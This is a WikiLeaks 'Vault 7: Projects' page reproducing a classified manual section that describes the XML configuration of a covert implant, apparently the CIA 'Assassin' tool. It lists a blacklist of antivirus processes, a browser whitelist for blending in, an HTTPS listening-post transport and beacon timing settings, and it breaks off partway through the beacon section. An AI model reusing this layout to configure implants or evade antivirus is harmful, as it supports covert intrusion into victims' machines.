Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.
SECRET//ORCON//NOFORN
18.2.2 Implant Configuration
This section will describe the xml formats for all of the configuration values
contained under the <Implant> XML tag. An example of a complete Implant
configuration is below:
XML Configuration Example
<Implant>
<ID>
<Parent>assn</Parent>
<Child />
</ID>
<CryptoKey>00000000000000000000000000000000</CryptoKey>
<Paths>
<InputPath>c:\temp\input</InputPath>
<OutputPath>c:\temp\output</OutputPath>
<StartupPath>c:\temp\startup</StartupPath>
<StagingPath>c:\temp\staging</StagingPath>
<PushPath>c:\temp\push</PushPath>
</Paths>
<Blacklist>
<Prog>avira.exe</Prog>
<Prog>avg.exe</Prog>
</Blacklist>
<Whitelist>
<Prog>iexplore.exe</Prog>
<Prog>firefox.exe</Prog>
<Prog>chrome.exe</Prog>
</Whitelist>
<TransportList>
<Transport type=”HTTPS” tries="2">
<Host>assassin_lp</Host>
<Port>443</Port>
<ProxyCredentials />
</Transport>
</TransportList>
<ChunkSize>1m</ChunkSize>
<Beacon>
<BackoffMultiple>1.5</BackoffMultiple>
<InitialWait>1m</InitialWait>
<DefaultInterval>1m</DefaultInterval>
<MaxInterval>5m</MaxInterval>
146
SECRET//ORCON//NOFORN